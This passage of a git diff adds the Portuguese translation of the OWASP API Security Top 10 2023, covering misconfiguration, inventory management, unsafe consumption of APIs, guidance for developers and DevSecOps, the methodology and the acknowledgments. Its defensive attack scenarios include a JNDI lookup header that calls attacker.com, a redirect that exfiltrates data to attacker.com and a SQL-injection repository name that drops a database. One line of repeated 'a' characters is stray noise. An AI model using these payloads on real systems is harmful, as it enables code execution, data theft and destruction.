falta ou os sistemas estão + desatualizados. +* Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP, + funcionalidades de registo de eventos). +* Existem discrepâncias na forma como os pedidos são processados pelos + servidores na cadeia de servidores HTTP. +* A Segurança da Camada de Transporte (TLS) está em falta. +* Diretivas de segurança ou de controlo de cache não são enviadas aos clientes. +* Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal + configurada. +* As mensagens de erro incluem _stack traces_ ou expõem outras informações + sensíveis. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Um servidor de API _back-end_ mantém um registo de acesso escrito por uma +utilidade de registo _open-source_ popular de terceiros, com suporte para +expansão de espaços reservados e pesquisas JNDI (Java Naming and Directory +Interface), ambos ativados por defeito. Para cada pedido, uma nova entrada é +escrita no ficheiro de registo com o seguinte padrão: +` / - `. + +Um ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de +registo de acesso: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Devido à configuração padrão insegura da utilidade de registo e a uma política +de rede de saída permissiva, para escrever a entrada correspondente no registo +de acesso, ao expandir o valor no cabeçalho `X-Api-Version` do pedido, a +utilidade de registo irá buscar e executar o objeto `Malicious.class` do +servidor controlado remotamente pelo atacante. + +### Cenário #2 + +Um site de rede social oferece uma funcionalidade de "Mensagem Direta" que +permite aos utilizadores manter conversas privadas. Para recuperar novas +mensagens de uma conversa específica, o site emite o seguinte pedido de API (a +interação do utilizador não é necessária): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Como a resposta da API não inclui o cabeçalho de resposta HTTP `Cache-Control`, +as conversas privadas acabam por ser armazenadas em cache pelo navegador, +permitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do +navegador no sistema de ficheiros. + +## Como Prevenir + +O ciclo de vida da API deve incluir: + +* Um processo de proteção reprodutível que possa ser implantado de forma fácil + e rápida com vista a um ambiente de execução devidamente protegido. +* Um processo de revisão e atualização de todas as camadas da API. A revisão + deve incluir: ficheiros de orquestração, componentes da API e serviços na + nuvem (e.g., permissões dos _buckets_ S3). +* Um processo automatizado para verificar de forma continua as configurações e + definições em todos os ambientes (produção, _staging_, testes, + desenvolvimento). + +E ainda: + +* Assegure que todas as comunicações de API, do cliente para o servidor de API e + qualquer componente _downstream_/_upstream_, ocorram através de um canal de + comunicação encriptado (TLS), independentemente de se tratar de uma API + interna ou pública. +* Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os + outros verbos HTTP devem ser desativados (por exemplo, HEAD). +* As APIs que esperam ser acedidas a partir de clientes baseados em navegador + (por exemplo, aplicação web _front-end_) devem, pelo menos: + * implementar uma política adequada de Partilha de Recursos entre Origens + (CORS). + * incluir os Cabeçalhos de Segurança aplicáveis. +* Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem + os requisitos funcionais/de negócio. +* Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo, + balanceadores de carga, proxies reversos e diretos, e servidores de + _back-end_) processem os pedidos de entrada de forma uniforme para evitar + problemas de dessincronização. +* Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta + da API, incluindo respostas de erro, para evitar que informações de exceções e + outras informações valiosas sejam enviadas para os atacantes. + +## Referências + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externas + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/pt-pt/0xa9-improper-inventory-management.md b/editions/2023/pt-pt/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..bad6bdece --- /dev/null +++ b/editions/2023/pt-pt/0xa9-improper-inventory-management.md @@ -0,0 +1,114 @@ +# API9:2023 Improper Inventory Management + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| Os agentes ameaça geralmente obtêm acesso não autorizado através de versões antigas de APIs ou _endpoints_ que permanecem em execução sem atualizações e que utilizam requisitos de segurança mais fracos. Em alguns casos, os _exploits_ estão disponíveis online. Alternativamente, podem obter acesso a dados sensíveis através de um terceiro com quem não há razão para compartilhar dados. | Documentação desatualizada torna mais difícil encontrar e/ou corrigir vulnerabilidades. A falta de inventário de recursos e estratégias de desativação leva à execução de sistemas sem atualizações, resultando em vazamentos de dados sensíveis. É comum encontrar hosts de API desnecessariamente expostos devido a conceitos modernos como microserviços, que tornam as aplicações fáceis de implantar e independentes (por exemplo, computação em nuvem, K8S). Um simples Google Dorking, enumeração de DNS ou o uso de motores de busca especializados para vários tipos de servidores (webcams, routers, servidores, etc.) conectados à internet será suficiente para descobrir alvos. | Os atacantes podem obter acesso a dados sensíveis ou até mesmo tomar o controlo do servidor. Às vezes, diferentes versões/implementações da API estão conectadas à mesma base de dados com dados reais. Agentes ameaça podem explorar _endpoints_ obsoletos disponíveis em versões antigas da API para obter acesso a funções administrativas ou explorar vulnerabilidades conhecidas. | + +## A API é vulnerável? + +A natureza dispersa e conectada das APIs e das aplicações modernas traz novos +desafios. É importante que as organizações não só tenham uma boa compreensão e +visibilidade das suas próprias APIs e _endpoints_, mas também de como as APIs +estão a armazenar ou a partilhar dados com terceiros. + +Executar múltiplas versões de uma API requer recursos de gestão adicionais do +fornecedor da API e expande a superfície de ataque. + +Uma API tem um "ponto cego de documentação" se: + +* O propósito de um _host_ da API é pouco claro e não há respostas explícitas + para as seguintes perguntas: + * Em que ambiente está a API a ser executada (por exemplo, produção, + _staging_, teste, desenvolvimento)? + * Quem deve ter acesso à rede da API (por exemplo, público, interno, + parceiros)? + * Qual versão da API está em execução? +* Não existe documentação ou a documentação existente não está atualizada. +* Não existe um plano de desativação para cada versão da API. +* O inventário do _host_ está em falta ou desatualizado. + +A visibilidade e o inventário dos fluxos de dados sensíveis desempenham um papel +importante como parte de um plano de resposta a incidentes, caso ocorra uma +violação do lado de terceiros. + +Uma API tem um "ponto cego de fluxo de dados" se: + +* Existe um "fluxo de dados sensíveis" onde a API compartilha dados sensíveis + com um terceiro e + * Não existe uma justificação de negócio ou aprovação do fluxo + * Não existe inventário ou visibilidade do fluxo + * Não há visibilidade detalhada sobre o tipo de dados sensíveis partilhados + + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de limitação de frequência de pedidos +que previne que atacantes possam usar força bruta para adivinhar _tokens_ de +redefinição de _password_. Este mecanismo não foi implementado como parte do +código da própria API, mas num componente separado entre o cliente e a API +oficial (`api.socialnetwork.owasp.org`). Um investigador encontrou um _host_ da +API beta (`beta.api.socialnetwork.owasp.org`) que executa a mesma API, incluindo +o mecanismo de redefinição de _password_, mas sem o mecanismo de limitação de +frequência de pedidos. O investigador conseguiu redefinir a _password_ de +qualquer utilizador usando força bruta simples para adivinhar o _token_ de 6 +dígitos. + +### Cenário #2 + +Uma rede social permite que desenvolvedores de aplicações independentes se +integrem com ela. Como parte desse processo, é solicitado o consentimento do +utilizador final para que a rede social possa partilhar as informações pessoais +do utilizador com a aplicação independente. + +O fluxo de dados entre a rede social e as aplicações independentes não é +suficientemente restritivo ou monitorizado, permitindo que as aplicações acedam +não apenas às informações do utilizador, mas também às informações privadas de +todos os seus amigos. + +Uma empresa de consultoria cria uma aplicação maliciosa e consegue obter o +consentimento de 270 mil utilizadores. Devido a essa falha, a empresa de +consultoria consegue aceder às informações privadas de 50 milhões de +utilizadores. Mais tarde, a empresa de consultoria vende as informações para +fins maliciosos. + +## Como Prevenir + +* Inventarie todos os _hosts_ da API e documentar os aspectos + importantes de cada um deles, focando no ambiente da API (por exemplo, + produção, _staging_, teste, desenvolvimento), quem deve ter acesso à rede do + _host_ (por exemplo, público, interno, parceiros) e a versão da API. +* Inventarie os serviços integrados e documentar aspectos + importantes, como o seu papel no sistema, quais dados são trocados (fluxo de + dados) e a sua sensibilidade. +* Documente todos os aspectos da sua API, como autenticação, erros, + redirecionamentos, limitação de frequência de pedidos, política de partilha de + recursos entre origens (CORS) e _endpoints_, incluindo os seus parâmetros, + pedidos e respostas. +* Crie documentação automaticamente adotando padrões abertos. Inclua a + construção da documentação no seu _pipeline_ de CI/CD. +* Disponibilize a documentação da API apenas para aqueles autorizados a utilizar + a API. +* Utilize medidas de proteção externas, como soluções específicas de segurança + de API, para todas as versões expostas das suas APIs, não apenas para a versão + de produção atual. +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +* Evite utilizar dados de produção em implementações de API que não são + produção. Se isso for inevitável, esses _endpoints_ devem receber o mesmo + tratamento de segurança que os de produção. +* Quando versões mais recentes das APIs incluem melhorias de segurança, realize + uma análise de risco para informar as ações de mitigação necessárias para as + versões mais antigas. Por exemplo, se é possível aplicar as melhorias nessas + versões mais antigas sem quebrar a compatibilidade da API ou se é necessário + remover rapidamente a versão mais antiga e forçar todos os clientes a migrar + para a versão mais recente. + +## Referências + +### Externas + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..3081d4048 --- /dev/null +++ b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,111 @@ +# API10:2023 Unsafe Consumption of APIs + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Moderado** | Técnico **Severo** : Específico Negócio | +| Explorar este problema requer que os atacantes identifiquem e potencialmente comprometam outras APIs/serviços com os quais a API alvo está integrada. Normalmente, esta informação não está disponível publicamente ou a API/serviço integrado não é facilmente explorável. | Os desenvolvedores tendem a confiar e não a verificar os _endpoints_ que interagem com APIs externas ou de terceiros, dependendo de requisitos de segurança mais fracos, como aqueles relacionados à segurança do transporte, autenticação/autorização e validação e sanitização de dados. Os atacantes precisam identificar os serviços com os quais a API alvo se integra (fontes de dados) e, eventualmente, comprometer esses serviços. | O impacto varia de acordo com o que a API alvo faz com os dados extraídos. A exploração bem sucedida pode levar à exposição de informações sensíveis a atores não autorizados, a vários tipos de injeções ou à negação de serviço. | + +## A API é vulnerável? + +Os desenvolvedores tendem a confiar mais nos dados recebidos de APIs de +terceiros do que nos dados fornecidos por utilizadores. Isso é especialmente +verdade para APIs oferecidas por empresas bem conhecidas. Por essa razão, os +desenvolvedores tendem a adotar padrões de segurança mais fracos, especialmente +no que diz respeito à validação e sanitização de dados. + +A API pode estar vulnerável se: + +* Interage com outras APIs através de um canal não encriptado; +* Não valida e sanitiza corretamente os dados recolhidos de outras APIs antes de + os processar ou de os passar para componentes posteriores; +* Segue redirecionamentos cegamente; +* Não limita o número de recursos disponíveis para processar respostas de + serviços de terceiros; +* Não implementa limites de tempo para interações com serviços de terceiros; + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma API depende de um serviço de terceiros para enriquecer os endereços +comerciais fornecidos pelos utilizadores. Quando um endereço é fornecido pelo +utilizador final à API, ele é enviado para o serviço de terceiros e os dados +retornados são então armazenados numa base de dados local compatível com SQL. + +Atacantes utilizam o serviço de terceiros para armazenar um conteúdo malicioso +de injeção SQL (SQLi) associado a um negócio criado por eles. Em seguida, visam +a API vulnerável fornecendo um conteúdo específico que faz com que esta obtenha +o "negócio malicioso" do serviço de terceiros. O conteúdo de SQLi acaba por ser +executado pela base de dados, exfiltrando dados para um servidor controlado pelo +atacante. + +### Cenário #2 + +Uma API integra-se com um fornecedor de serviços de terceiros para armazenar com +segurança informações médicas sensíveis dos utilizadores. Os dados são enviados +através de uma conexão segura usando um pedido HTTP como o abaixo: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Atacantes encontraram uma forma de comprometer a API de terceiros, que começa a +responder com um `308 Permanent Redirect` a pedidos como o anterior. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Como a API segue cegamente os redirecionamentos do terceiro, ela repetirá +exatamente o mesmo pedido, incluindo os dados sensíveis do utilizador, mas desta +vez para o servidor do atacante. + +### Cenário #3 + +Um atacante pode preparar um repositório git chamado `'; drop db;--`. + +Agora, quando uma integração de uma aplicação atacada é feita com o repositório +malicioso, uma carga de injeção SQL é utilizada numa aplicação que constrói uma +consulta SQL, acreditando que o nome do repositório é um conteúdo seguro. + +## Como Prevenir + +* Ao avaliar fornecedores de serviços, analise a postura de segurança das suas + APIs. +* Garanta que todas as interações com APIs ocorram através de um canal de + comunicação seguro (TLS). +* Valide e sanitize sempre os dados recebidos de APIs integradas antes de os + utilizar. +* Mantenha uma lista de permissões de locais conhecidos para os quais as APIs + integradas podem redirecionar a sua: não siga redirecionamentos cegamente. + +## Referências + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externas + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/pt-pt/0xb0-next-devs.md b/editions/2023/pt-pt/0xb0-next-devs.md new file mode 100644 index 000000000..76c38f98c --- /dev/null +++ b/editions/2023/pt-pt/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# O Que Se Segue Para Programadores + +A tarefa de criar e manter aplicações seguras, ou corrigir aplicações +existentes, pode ser difícil. Não é diferente para as APIs. + +Acreditamos que educação e consciencialização são fatores chave para o +desenvolvimento de software seguro. Tudo o mais necessário para alcançar este +objetivo depende da **definição e utilização de processos de segurança +reprodutíveis e do uso de controlos de segurança _standard_**. + +A OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para +abordar a segurança. Por favor visite a [página dos projetos OWASP][1] para +consulta da lista dos projetos existentes. + +| | | +|-|-| +| **Educação** | O [Application Security Wayfinder][2] deve oferecer uma boa ideia sobre quais projetos estão disponíveis para cada etapa/fase do Ciclo de Vida do Desenvolvimento de Software (SDLC). Para aprendizagem prática/treino, pode começar com [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4]: ambos possuem APIs intencionalmente vulneráveis. O [OWASP Vulnerable Web Applications Directory Project][5] fornece uma lista curada de aplicações intencionalmente vulneráveis: lá encontrará várias outras APIs vulneráveis. Também pode participar em sessões de treino da [OWASP AppSec Conference][6] ou [juntar-se ao seu chapter local][7]. | +| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)][8] como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex][9], o qual deverá adaptar às leis e regulamentações locais. | +| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets][10] é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet][11] e o [REST Assessment Cheat Sheet][12] serão seguramente relevantes, como também o [GraphQL Cheat Sheet][13]. | +| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas _frameworks_ modernas já incluírem controlos standard, o projeto [OWASP Proactive Controls][14] dá-lhe uma boa visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. | +| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)][15] para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/pt-pt/0xb1-next-devsecops.md b/editions/2023/pt-pt/0xb1-next-devsecops.md new file mode 100644 index 000000000..44b5284cb --- /dev/null +++ b/editions/2023/pt-pt/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# O Que Se Segue Para DevSecOps + +Dada a sua importância na arquitetura das aplicações modernas, desenvolver APIs +seguras é crucial. A segurança não pode ser negligenciada e deve estar presente +durante todo o clico de vida do desenvolvimento. Já não basta a execução de +_scanners_ ou a realização de testes de penetração anualmente. + +A equipa de DevSecOps deve fazer parte do esforço de desenvolvimento +contribuindo para a realização de testes de segurança, de forma continuada, +durante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar +a _pipeline_ de desenvolvimento com automação de segurança e sem influenciar +negativamente o ritmo do desenvolvimento. + +Em caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)][2] e o [OWASP Testing Guide][3] como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. | +| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. | +| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework][4] e o [OWASP Application Security Verification Standard][2] podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos][5] e [ferramentas][6] como aquelas disponibilizadas pela [comunidade DevSecOps][7]. | +| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. | +| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/pt-pt/0xd0-about-data.md b/editions/2023/pt-pt/0xd0-about-data.md new file mode 100644 index 000000000..90919b3a8 --- /dev/null +++ b/editions/2023/pt-pt/0xd0-about-data.md @@ -0,0 +1,75 @@ +# Metodologia e Dados + +## Preâmbulo + +Para esta atualização da lista, a equipa de Segurança de API da OWASP utilizou a +mesma metodologia adotada com sucesso para a lista de 2019, com a adição de um +[Pedido Público por Dados][1] de 3 meses. Infelizmente, este pedido não resultou +em dados que permitissem uma análise estatística relevante sobre os problemas de +segurança de API mais comuns. + +Contudo, com uma indústria de segurança de API mais madura e capaz de fornecer +feedback e informações diretamente, o processo de atualização avançou usando a +mesma metodologia de antes. + +Chegados a este ponto, acreditamos ter um bom documento de consciencialização +para os próximos três ou quatro anos, mais focado nas questões específicas das +APIs modernas. O objetivo deste projeto não é substituir outras listas de top +10, mas sim cobrir os principais riscos de segurança de API atuais e emergentes, +sobre os quais acreditamos que a indústria deve estar atenta e ser diligente. + +## Metodologia + +Na primeira fase, dados publicamente disponíveis sobre incidentes de segurança +em APIs foram recolhidos, revistos e categorizados. Esses dados foram obtidos de +plataformas de _bug bounty_ e relatórios públicos. Apenas problemas reportados +entre 2019 e 2022 foram considerados. Esses dados ajudaram a equipa a entender +em que direção a lista de top 10 anterior deveria evoluir, assim como a lidar +com possíveis vieses dos dados contribuídos. + +Um [Pedido Público por Dados][1] foi realizado de 1 de Setembro a 30 de Novembro +de 2022. Em paralelo, a equipa do projeto iniciou a discussão sobre o que mudou +desde 2019. A discussão incluiu o impacto da primeira lista, o feedback recebido +da comunidade e novas tendências na segurança de APIs. + +A equipa do projeto promoveu reuniões com especialistas sobre ameaças relevantes +à segurança de APIs para obter informações sobre como as vítimas são impactadas +e como essas ameaças podem ser mitigadas. + +Este esforço resultou num rascunho inicial do que a equipa acredita serem os dez +riscos mais críticos de segurança para APIs. A [Metodologia de Classificação de +Risco da OWASP][2] foi utilizada para realizar a análise de riscos. As +classificações de prevalência foram decididas por consenso entre os membros da +equipa do projeto, com base na sua experiência na área. Para considerações sobre +esses temas, consulte a secção [Riscos de Segurança em APIs][3]. + +O rascunho inicial foi então compartilhado para revisão com profissionais de +segurança com experiência relevante na área de segurança de APIs. Os seus +comentários foram analisados, discutidos e, quando aplicável, incluídos no +documento. O documento resultante foi [publicado como uma Versão Candidata][4] +para [discussão aberta][5]. Várias [contribuições da comunidade][6] foram +incorporadas no documento final. + +A lista de contribuidores está disponível na secção de [Agradecimentos][7]. + +## Riscos Específicos de APIs + +A lista foi elaborada para abordar riscos de segurança que são mais específicos +para APIs. + +Não implica que outros riscos genéricos de segurança de aplicações não existam +em aplicações baseadas em APIs. Por exemplo, não incluímos riscos como +"Componentes Vulneráveis e Desatualizados" ou "Injeção", embora você possa +encontrá-los em aplicações baseadas em APIs. Esses riscos são genéricos, não se +comportam de forma diferente em APIs, nem a sua exploração é diferente. + +O nosso objetivo é aumentar a conscientização sobre os riscos de segurança que +merecem atenção especial em APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0xd1-acknowledgments.md b/editions/2023/pt-pt/0xd1-acknowledgments.md new file mode 100644 index 000000000..3ca938307 --- /dev/null +++ b/editions/2023/pt-pt/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Agradecimentos + +## Agradecimento ao Contribuidores + +Gostaríamos de agradecer às pessoas abaixo, as quais contribuíram publicamente +no GitHub ou por outros meios: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/pt-pt/images/cover.jpg b/editions/2023/pt-pt/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/pt-pt/images/cover.jpg differ diff --git a/editions/2023/pt-pt/images/front-cc.png b/editions/2023/pt-pt/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/pt-pt/images/front-cc.png differ diff --git a/editions/2023/pt-pt/images/front-wasp.png b/editions/2023/pt-pt/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/pt-pt/images/front-wasp.png differ diff --git a/editions/2023/pt-pt/images/license.png b/editions/2023/pt-pt/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/pt-pt/images/license.png differ diff --git a/editions/2023/pt-pt/images/owasp-logo.png b/editions/2023/pt-pt/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/pt-pt/images/owasp-logo.png differ